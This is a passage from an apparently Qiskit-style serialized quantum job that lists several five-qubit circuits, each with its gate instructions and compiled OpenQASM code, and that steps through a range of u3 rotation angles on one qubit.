'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1219', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.7000000000000002, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1221', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.8, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1223', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.9000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1225', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- 